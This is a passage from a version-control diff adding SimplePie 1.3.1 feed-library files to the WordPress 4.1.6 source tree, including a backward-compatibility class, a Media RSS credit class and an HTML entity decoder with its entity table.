+++ /tags/4.1.6/src/wp-includes/SimplePie/Core.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2009, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * SimplePie class.
+ *
+ * Class for backward compatibility.
+ *
+ * @deprecated Use {@see SimplePie} directly
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Core extends SimplePie
+{
+
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Credit.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Credit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Credit.php	(revision 33402)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:credit>` as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_credit_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Credit
+{
+	/**
+	 * Credited role
+	 *
+	 * @var string
+	 * @see get_role()
+	 */
+	var $role;
+
+	/**
+	 * Organizational scheme
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Credited name
+	 *
+	 * @var string
+	 * @see get_name()
+	 */
+	var $name;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($role = null, $scheme = null, $name = null)
+	{
+		$this->role = $role;
+		$this->scheme = $scheme;
+		$this->name = $name;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the role of the person receiving credit
+	 *
+	 * @return string|null
+	 */
+	public function get_role()
+	{
+		if ($this->role !== null)
+		{
+			return $this->role;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the organizational scheme
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the credited person/entity's name
+	 *
+	 * @return string|null
+	 */
+	public function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Decode/HTML/Entities.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Decode/HTML/Entities.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Decode/HTML/Entities.php	(revision 33402)
@@ -0,0 +1,617 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Decode HTML Entities
+ *
+ * This implements HTML5 as of revision 967 (2007-06-28)
+ *
+ * @deprecated Use DOMDocument instead!
+ * @package SimplePie
+ */
+class SimplePie_Decode_HTML_Entities
+{
+	/**
+	 * Data to be parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Currently consumed bytes
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $consumed = '';
+
+	/**
+	 * Position of the current byte being parsed
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return string Output data
+	 */
+	public function parse()
+	{
+		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
+		{
+			$this->consume();
+			$this->entity();
+			$this->consumed = '';
+		}
+		return $this->data;
+	}
+
+	/**
+	 * Consume the next byte
+	 *
+	 * @access private
+	 * @return mixed The next byte, or false, if there is no more data
+	 */
+	public function consume()
+	{
+		if (isset($this->data[$this->position]))
+		{
+			$this->consumed .= $this->data[$this->position];
+			return $this->data[$this->position++];
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Consume a range of characters
+	 *
+	 * @access private
+	 * @param string $chars Characters to consume
+	 * @return mixed A series of characters that match the range, or false
+	 */
+	public function consume_range($chars)
+	{
+		if ($len = strspn($this->data, $chars, $this->position))
+		{
+			$data = substr($this->data, $this->position, $len);
+			$this->consumed .= $data;
+			$this->position += $len;
+			return $data;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Unconsume one byte
+	 *
+	 * @access private
+	 */
+	public function unconsume()
+	{
+		$this->consumed = substr($this->consumed, 0, -1);
+		$this->position--;
+	}
+
+	/**
+	 * Decode an entity
+	 *
+	 * @access private
+	 */
+	public function entity()
+	{
+		switch ($this->consume())
+		{
+			case "\x09":
+			case "\x0A":
+			case "\x0B":
+			case "\x0B":
+			case "\x0C":
+			case "\x20":
+			case "\x3C":
+			case "\x26":
+			case false:
+				break;
+
+			case "\x23":
+				switch ($this->consume())
+				{
+					case "\x78":
+					case "\x58":
+						$range = '0123456789ABCDEFabcdef';
+						$hex = true;
+						break;
+
+					default:
+						$range = '0123456789';
+						$hex = false;
+						$this->unconsume();
+						break;
+				}
+
+				if ($codepoint = $this->consume_range($range))
+				{
+					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");
+
+					if ($hex)
+					{
+						$codepoint = hexdec($codepoint);
+					}
+					else
+					{
+						$codepoint = intval($codepoint);
+					}
+
+					if (isset($windows_1252_specials[$codepoint]))
+					{
+						$replacement = $windows_1252_specials[$codepoint];
+					}
+					else
+					{
+						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
+					}
+
+					if (!in_array($this->consume(), array(';', false), true))
+					{
+						$this->unconsume();
+					}
+
+					$consumed_length = strlen($this->consumed);
+					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
+					$this->position += strlen($replacement) - $consumed_length;
+				}
+				break;
+
+			default:
+				static $entities = array(
+					'Aacute' => "\xC3\x81",
+					'aacute' => "\xC3\xA1",
+					'Aacute;' => "\xC3\x81",
+					'aacute;' => "\xC3\xA1",
+					'Acirc' => "\xC3\x82",
+					'acirc' => "\xC3\xA2",
+					'Acirc;' => "\xC3\x82",
+					'acirc;' => "\xC3\xA2",
+					'acute' => "\xC2\xB4",
+					'acute;' => "\xC2\xB4",
+					'AElig' => "\xC3\x86",
+					'aelig' => "\xC3\xA6",
+					'AElig;' => "\xC3\x86",
+					'aelig;' => "\xC3\xA6",
+					'Agrave' => "\xC3\x80",
+					'agrave' => "\xC3\xA0",
+					'Agrave;' => "\xC3\x80",
+					'agrave;' => "\xC3\xA0",
+					'alefsym;' => "\xE2\x84\xB5",
+					'Alpha;' => "\xCE\x91",
+					'alpha;' => "\xCE\xB1",
+					'AMP' => "\x26",
+					'amp' => "\x26",
+					'AMP;' => "\x26",
+					'amp;' => "\x26",
+					'and;' => "\xE2\x88\xA7",
+					'ang;' => "\xE2\x88\xA0",
+					'apos;' => "\x27",
+					'Aring' => "\xC3\x85",
+					'aring' => "\xC3\xA5",
+					'Aring;' => "\xC3\x85",
+					'aring;' => "\xC3\xA5",
+					'asymp;' => "\xE2\x89\x88",
+					'Atilde' => "\xC3\x83",
+					'atilde' => "\xC3\xA3",
+					'Atilde;' => "\xC3\x83",
+					'atilde;' => "\xC3\xA3",
+					'Auml' => "\xC3\x84",
+					'auml' => "\xC3\xA4",
+					'Auml;' => "\xC3\x84",
+					'auml;' => "\xC3\xA4",
+					'bdquo;' => "\xE2\x80\x9E",
+					'Beta;' => "\xCE\x92",
+					'beta;' => "\xCE\xB2",
+					'brvbar' => "\xC2\xA6",
+					'brvbar;' => "\xC2\xA6",
+					'bull;' => "\xE2\x80\xA2",
+					'cap;' => "\xE2\x88\xA9",
+					'Ccedil' => "\xC3\x87",
+					'ccedil' => "\xC3\xA7",
+					'Ccedil;' => "\xC3\x87",
+					'ccedil;' => "\xC3\xA7",
+					'cedil' => "\xC2\xB8",
+					'cedil;' => "\xC2\xB8",
+					'cent' => "\xC2\xA2",
+					'cent;' => "\xC2\xA2",
+					'Chi;' => "\xCE\xA7",
+					'chi;' => "\xCF\x87",
+					'circ;' => "\xCB\x86",
+					'clubs;' => "\xE2\x99\xA3",
+					'cong;' => "\xE2\x89\x85",
+					'COPY' => "\xC2\xA9",
+					'copy' => "\xC2\xA9",
+					'COPY;' => "\xC2\xA9",
+					'copy;' => "\xC2\xA9",
+					'crarr;' => "\xE2\x86\xB5",
+					'cup;' => "\xE2\x88\xAA",
+					'curren' => "\xC2\xA4",
+					'curren;' => "\xC2\xA4",
+					'Dagger;' => "\xE2\x80\xA1",
+					'dagger;' => "\xE2\x80\xA0",
+					'dArr;' => "\xE2\x87\x93",
+					'darr;' => "\xE2\x86\x93",
+					'deg' => "\xC2\xB0",
+					'deg;' => "\xC2\xB0",
+					'Delta;' => "\xCE\x94",
+					'delta;' => "\xCE\xB4",
+					'diams;' => "\xE2\x99\xA6",
+					'divide' => "\xC3\xB7",
+					'divide;' => "\xC3\xB7",
+					'Eacute' => "\xC3\x89",
+					'eacute' => "\xC3\xA9",
+					'Eacute;' => "\xC3\x89",
+					'eacute;' => "\xC3\xA9",
+					'Ecirc' => "\xC3\x8A",
+					'ecirc' => "\xC3\xAA",
+					'Ecirc;' => "\xC3\x8A",
+					'ecirc;' => "\xC3\xAA",
+					'Egrave' => "\xC3\x88",
+					'egrave' => "\xC3\xA8",
+					'Egrave;' => "\xC3\x88",
+					'egrave;' => "\xC3\xA8",
+					'empty;' => "\xE2\x88\x85",
+					'emsp;' => "\xE2\x80\x83",
+					'ensp;' => "\xE2\x80\x82",
+					'Epsilon;' => "\xCE\x95",
+					'epsilon;' => "\xCE\xB5",
+					'equiv;' => "\xE2\x89\xA1",
+					'Eta;' => "\xCE\x97",
+					'eta;' => "\xCE\xB7",
+					'ETH' => "\xC3\x90",
+					'eth' => "\xC3\xB0",
+					'ETH;' => "\xC3\x90",
+					'eth;' => "\xC3\xB0",
+					'Euml' => "\xC3\x8B",
+					'euml' => "\xC3\xAB",
+					'Euml;' => "\xC3\x8B",
+					'euml;' => "\xC3\xAB",
+					'euro;' => "\xE2\x82\xAC",
+					'exist;' => "\xE2\x88\x83",
+					'fnof;' => "\xC6\x92",
+					'forall;' => "\xE2\x88\x80",
+					'frac12' => "\xC2\xBD",
+					'frac12;' => "\xC2\xBD",
+					'frac14' => "\xC2\xBC",
+					'frac14;' => "\xC2\xBC",
+					'frac34' => "\xC2\xBE",
+					'frac34;' => "\xC2\xBE",
+					'frasl;' => "\xE2\x81\x84",
+					'Gamma;' => "\xCE\x93",
+					'gamma;' => "\xCE\xB3",
+					'ge;' => "\xE2\x89\xA5",
+					'GT' => "\x3E",
+					'gt' => "\x3E",
+					'GT;' => "\x3E",
+					'gt;' => "\x3E",
+					'hArr;' => "\xE2\x87\x94",
+					'harr;' => "\xE2\x86\x94",
+					'hearts;' => "\xE2\x99\xA5",
+					'hellip;' => "\xE2\x80\xA6",
+					'Iacute' => "\xC3\x8D",
+					'iacute' => "\xC3\xAD",
+					'Iacute;' => "\xC3\x8D",
+					'iacute;' => "\xC3\xAD",
+					'Icirc' => "\xC3\x8E",
+					'icirc' => "\xC3\xAE",
+					'Icirc;' => "\xC3\x8E",
+					'icirc;' => "\xC3\xAE",
+					'iexcl' => "\xC2\xA1",
+					'iexcl;' => "\xC2\xA1",
+					'Igrave' => "\xC3\x8C",
+					'igrave' => "\xC3\xAC",
+					'Igrave;' => "\xC3\x8C",
+					'igrave;' => "\xC3\xAC",
+					'image;' => "\xE2\x84\x91",
+					'infin;' => "\xE2\x88\x9E",
+					'int;' => "\xE2\x88\xAB",
+					'Iota;' => "\xCE\x99",
+					'iota;' => "\xCE\xB9",
+					'iquest' => "\xC2\xBF",
+					'iquest;' => "\xC2\xBF",
+					'isin;' => "\xE2\x88\x88",
+					'Iuml' => "\xC3\x8F",
+					'iuml' => "\xC3\xAF",
+					'Iuml;' => "\xC3\x8F",
+					'iuml;' => "\xC3\xAF",
+					'Kappa;' => "\xCE\x9A",
+					'kappa;' => "\xCE\xBA",
+					'Lambda;' => "\xCE\x9B",
+					'lambda;' => "\xCE\xBB",
+					'lang;' => "\xE3\x80\x88",
+					'laquo' => "\xC2\xAB",
+					'laquo;' => "\xC2\xAB",
+					'lArr;' => "\xE2\x87\x90",
+					'larr;' => "\xE2\x86\x90",
+					'lceil;' => "\xE2\x8C\x88",
+					'ldquo;' => "\xE2\x80\x9C",
+					'le;' => "\xE2\x89\xA4",
+					'lfloor;' => "\xE2\x8C\x8A",
+					'lowast;' => "\xE2\x88\x97",
+					'loz;' => "\xE2\x97\x8A",
+					'lrm;' => "\xE2\x80\x8E",
+					'lsaquo;' => "\xE2\x80\xB9",
+					'lsquo;' => "\xE2\x80\x98",
+					'LT' => "\x3C",
+					'lt' => "\x3C",
+					'LT;' => "\x3C",
+					'lt;' => "\x3C",
+					'macr' => "\xC2\xAF",
+					'macr;' => "\xC2\xAF",
+					'mdash;' => "\xE2\x80\x94",
+					'micro' => "\xC2\xB5",
+					'micro;' => "\xC2\xB5",
+					'middot' => "\xC2\xB7",
+					'middot;' => "\xC2\xB7",
+					'minus;' => "\xE2\x88\x92",
+					'Mu;' => "\xCE\x9C",
+					'mu;' => "\xCE\xBC",
+					'nabla;' => "\xE2\x88\x87",
+					'nbsp' => "\xC2\xA0",
+					'nbsp;' => "\xC2\xA0",
+					'ndash;' => "\xE2\x80\x93",
+					'ne;' => "\xE2\x89\xA0",
+					'ni;' => "\xE2\x88\x8B",
+					'not' => "\xC2\xAC",
+					'not;' => "\xC2\xAC",
+					'notin;' => "\xE2\x88\x89",
+					'nsub;' => "\xE2\x8A\x84",
+					'Ntilde' => "\xC3\x91",
+					'ntilde' => "\xC3\xB1",
+					'Ntilde;' => "\xC3\x91",
+					'ntilde;' => "\xC3\xB1",
+					'Nu;' => "\xCE\x9D",
+					'nu;' => "\xCE\xBD",
+					'Oacute' => "\xC3\x93",
+					'oacute' => "\xC3\xB3",
+					'Oacute;' => "\xC3\x93",
+					'oacute;' => "\xC3\xB3",
+					'Ocirc' => "\xC3\x94",
+					'ocirc' => "\xC3\xB4",
+					'Ocirc;' => "\xC3\x94",
+					'ocirc;' => "\xC3\xB4",
+					'OElig;' => "\xC5\x92",
+					'oelig;' => "\xC5\x93",
+					'Ograve' => "\xC3\x92",
+					'ograve' => "\xC3\xB2",
+					'Ograve;' => "\xC3\x92",
+					'ograve;' => "\xC3\xB2",
+					'oline;' => "\xE2\x80\xBE",
+					'Omega;' => "\xCE\xA9",
+					'omega;' => "\xCF\x89",
+					'Omicron;' => "\xCE\x9F",
+					'omicron;' => "\xCE\xBF",
+					'oplus;' => "\xE2\x8A\x95",
+					'or;' => "\xE2\x88\xA8",
+					'ordf' => "\xC2\xAA",
+					'ordf;' => "\xC2\xAA",
+					'ordm' => "\xC2\xBA",
+					'ordm;' => "\xC2\xBA",
+					'Oslash' => "\xC3\x98",
+					'oslash' => "\xC3\xB8",
+					'Oslash;' => "\xC3\x98",
+					'oslash;' => "\xC3\xB8",
+					'Otilde' => "\xC3\x95",
+					'otilde' => "\xC3\xB5",
+					'Otilde;' => "\xC3\x95",
+					'otilde;' => "\xC3\xB5",
+					'otimes;' => "\xE2\x8A\x97",
+					'Ouml' => "\xC3\x96",
+					'ouml' => "\xC3\xB6",
+					'Ouml;' => "\xC3\x96",
+					'ouml;' => "\xC3\xB6",
+					'para' => "\xC2\xB6",
+					'para;' => "\xC2\xB6",
+					'part;' => "\xE2\x88\x82",
+					'permil;' => "\xE2\x80\xB0",
+					'perp;' => "\xE2\x8A\xA5",
+					'Phi;' => "\xCE\xA6",
+					'phi;' => "\xCF\x86",
+					'Pi;' => "\xCE\xA0",
+					'pi;' => "\xCF\x80",
+					'piv;' => "\xCF\x96",
+					'plusmn' => "\xC2\xB1",
+					'plusmn;' => "\xC2\xB1",
+					'pound' => "\xC2\xA3",
+					'pound;' => "\xC2\xA3",
+					'Prime;' => "\xE2\x80\xB3",
+					'prime;' => "\xE2\x80\xB2",
+					'prod;' => "\xE2\x88\x8F",
+					'prop;' => "\xE2\x88\x9D",
+					'Psi;' => "\xCE\xA8",
+					'psi;' => "\xCF\x88",
+					'QUOT' => "\x22",
+					'quot' => "\x22",
+					'QUOT;' => "\x22",
+					'quot;' => "\x22",
+					'radic;' => "\xE2\x88\x9A",
+					'rang;' => "\xE3\x80\x89",
+					'raquo' => "\xC2\xBB",
+					'raquo;' => "\xC2\xBB",
+					'rArr;' => "\xE2\x87\x92",
+					'rarr;' => "\xE2\x86\x92",
+					'rceil;' => "\xE2\x8C\x89",
+					'rdquo;' => "\xE2\x80\x9D",
+					'real;' => "\xE2\x84\x9C",
+					'REG' => "\xC2\xAE",
+					'reg' => "\xC2\xAE",
+					'REG;' => "\xC2\xAE",
+					'reg;' => "\xC2\xAE",
+					'rfloor;' => "\xE2\x8C\x8B",
+					'Rho;' => "\xCE\xA1",
+					'rho;' => "\xCF\x81",
+					'rlm;' => "\xE2\x80\x8F",
+					'rsaquo;' => "\xE2\x80\xBA",
+					'rsquo;' => "\xE2\x80\x99",
+					'sbquo;' => "\xE2\x80\x9A",
+					'Scaron;' => "\xC5\xA0",
+					'scaron;' => "\xC5\xA1",
+					'sdot;' => "\xE2\x8B\x85",
+					'sect' => "\xC2\xA7",
+					'sect;' => "\xC2\xA7",
+					'shy' => "\xC2\xAD",
+					'shy;' => "\xC2\xAD",
+					'Sigma;' => "\xCE\xA3",
+					'sigma;' => "\xCF\x83",
+					'sigmaf;' => "\xCF\x82",
+					'sim;' => "\xE2\x88\xBC",
+					'spades;' => "\xE2\x99\xA0",
+					'sub;' => "\xE2\x8A\x82",
+					'sube;' => "\xE2\x8A\x86",
+					'sum;' => "\xE2\x88\x91",
+					'sup;' => "\xE2\x8A\x83",
+					'sup1' => "\xC2\xB9",
+					'sup1;' => "\xC2\xB9",
+					'sup2' => "\xC2\xB2",
+					'sup2;' => "\xC2\xB2",
+					'sup3' => "\xC2\xB3",
+					'sup3;' => "\xC2\xB3",
+					'supe;' => "\xE2\x8A\x87",
+					'szlig' => "\xC3\x9F",
+					'szlig;' => "\xC3\x9F",
+					'Tau;' => "\xCE\xA4",
+					'tau;' => "\xCF\x84",
+					'there4;' => "\xE2\x88\xB4",
+					'Theta;' => "\xCE\x98",
+					'theta;' => "\xCE\xB8",
+					'thetasym;' => "\xCF\x91",
+					'thinsp;' => "\xE2\x80\x89",
+					'THORN' => "\xC3\x9E",
+					'thorn' => "\xC3\xBE",
+					'THORN;' => "\xC3\x9E",
+					'thorn;' => "\xC3\xBE",
+					'tilde;' => "\xCB\x9C",
+					'times' => "\xC3\x97",
+					'times;' => "\xC3\x97",
+					'TRADE;' => "\xE2\x84\xA2",
+					'trade;' => "\xE2\x84\xA2",
+					'Uacute' => "\xC3\x9A",
+					'uacute' => "\xC3\xBA",
+					'Uacute;' => "\xC3\x9A",
+					'uacute;' => "\xC3\xBA",
+					'uArr;' => "\xE2\x87\x91",
+					'uarr;' => "\xE2\x86\x91",
+					'Ucirc' => "\xC3\x9B",
+					'ucirc' => "\xC3\xBB",
+					'Ucirc;' => "\xC3\x9B",
+					'ucirc;' => "\xC3\xBB",
+					'Ugrave' => "\xC3\x99",
+					'ugrave' => "\xC3\xB9",
+					'Ugrave;' => "\xC3\x99",
+					'ugrave;' => "\xC3\xB9",
+					'uml' => "\xC2\xA8",
+					'uml;' => "\xC2\xA8",
+					'upsih;' => "\xCF\x92",
+					'Upsilon;' => "\xCE\xA5",
+					'upsilon;' => "\xCF\x85",
+					'Uuml' => "\xC3\x9C",
+					'uuml' => "\xC3\xBC",
+					'Uuml;' => "\xC3\x9C",
+					'uuml;' => "\xC3\xBC",
+					'weierp;' => "\xE2\x84\x98",
+					'Xi;' => "\xCE\x9E",
+					'xi;' => "\xCE\xBE",
+					'Yacute' => "\xC3\x9D",
+					'yacute' => "\xC3\xBD",
+					'Yacute;' => "\xC3\x9D",
+					'yacute;' => "\xC3\xBD",
+					'yen' => "\xC2\xA5",
+					'yen;' => "\xC2\xA5",
+					'yuml' => "\xC3\xBF",
+					'Yuml;' => "\xC5\xB8",
+					'yuml;' => "\xC3\xBF",
+					'Zeta;' => "\xCE\x96",
+					'zeta;' => "\xCE\xB6",
+					'zwj;' => "\xE2\x80\x8D",
+					'zwnj;' => "\xE2\x80\x8C"
+				);
+
+				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
+				{
+					$consumed = substr($this->consumed, 1);
+					if (isset($entities[$consumed]))
+					{
+						$match = $consumed;
+					}
+				}
+
+				if ($match !== null)
+				{
+ 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
+					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
+				}
+				break;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Enclosure.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Enclosure.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Enclosure.php	(revision 33402)
@@ -0,0 +1,1380 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
